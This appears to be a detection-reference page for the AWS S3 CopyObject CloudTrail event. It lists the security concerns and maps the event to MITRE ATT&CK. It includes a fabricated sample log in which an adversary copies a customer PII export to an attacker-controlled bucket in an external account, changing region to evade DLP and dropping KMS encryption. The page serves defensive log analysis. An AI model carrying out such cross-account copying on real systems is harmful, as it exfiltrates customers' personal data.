CopyObject
AWS
CopyObject
Event
Copies an object from one S3 location to another, within or across buckets, optionally modifying metadata or encryption.
Security Context
- Accessing cloud storage objects can expose sensitive data including backups, configuration files, application data, and customer information.
- Transferring data to external cloud accounts or regions can bypass network-based data loss prevention controls and exfiltrate large volumes of data.
Log Source
CloudTrail
Sample Event
Draco copies a sensitive object from fantasticlogs-niffler-archive (high-value PII) into the adversary-controlled bucket draco-exfil-bucket-666 in his external account. The destination is us-west-2 to evade region-based DLP, and SSE-KMS is dropped on the destination — the adversary doesn’t want the receiving copy encrypted with the victim’s CMK. T1530 + T1537.
{ "eventVersion": "1.09", "userIdentity": { "type": "IAMUser", "principalId": "AIDADRAC0MALF0YBADGY", "arn": "arn:aws:iam::555123456789:user/draco", "accountId": "555123456789", "accessKeyId": "AKIADRAC0MALF0YEXAMP5", "userName": "draco", "sessionContext": { "attributes": { "creationDate": "2026-04-15T18:51:02Z", "mfaAuthenticated": "false" } } }, "eventTime": "2026-04-15T19:38:54Z", "eventSource": "s3.amazonaws.com", "eventName": "CopyObject", "awsRegion": "us-east-1", "sourceIPAddress": "203.0.113.66", "userAgent": "[aws-cli/1.18.147 Python/3.7.10 Linux/5.4.0-1045-aws botocore/1.18.6]", "requestParameters": { "bucketName": "draco-exfil-bucket-666", "Host": "draco-exfil-bucket-666.s3.us-west-2.amazonaws.com", "x-amz-copy-source": "fantasticlogs-niffler-archive/customers/2026-q1/customer-pii-export.parquet", "key": "stolen/customer-pii-export.parquet" }, "responseElements": null, "additionalEventData": { "SignatureVersion": "SigV4", "CipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "bytesTransferredIn": 0.0, "AuthenticationMethod": "AuthHeader", "x-amz-id-2": "fqzX1iZV6ImDtkFxbGvziOE6fUwryRa+PhnLckfVAkLNHdbCAHNq4l/yckUd1a2HNJPL6NAS01U=", "bytesTransferredOut": 4827193.0 }, "requestID": "90000000-0000-4000-8000-000000001001", "eventID": "90000000-0000-4000-8000-000000001010", "readOnly": false, "resources": [ { "type": "AWS::S3::Object", "ARN": "arn:aws:s3:::draco-exfil-bucket-666/stolen/customer-pii-export.parquet" }, { "accountId": "555666661337", "type": "AWS::S3::Bucket", "ARN": "arn:aws:s3:::draco-exfil-bucket-666" }, { "accountId": "555123456789", "type": "AWS::S3::Bucket", "ARN": "arn:aws:s3:::fantasticlogs-niffler-archive" }, { "type": "AWS::S3::Object", "ARN": "arn:aws:s3:::fantasticlogs-niffler-archive/customers/2026-q1/customer-pii-export.parquet" } ], "eventType": "AwsApiCall", "managementEvent": false, "recipientAccountId": "555123456789", "eventCategory": "Data", "tlsDetails": { "tlsVersion": "TLSv1.3", "cipherSuite": "TLS_AES_128_GCM_SHA256", "clientProvidedHostHeader": "draco-exfil-bucket-666.s3.us-west-2.amazonaws.com" }}MITRE ATT&CK Mapping
Tactics: Collection Exfiltration
Techniques:
- T1530 — Data from Cloud Storage — Adversaries may access data from cloud storage.
- T1537 — Transfer Data to Cloud Account — Adversaries may exfiltrate data by transferring the data, including through sharing/syncing and creating backups of cloud environments, to another cloud account they control on the same service.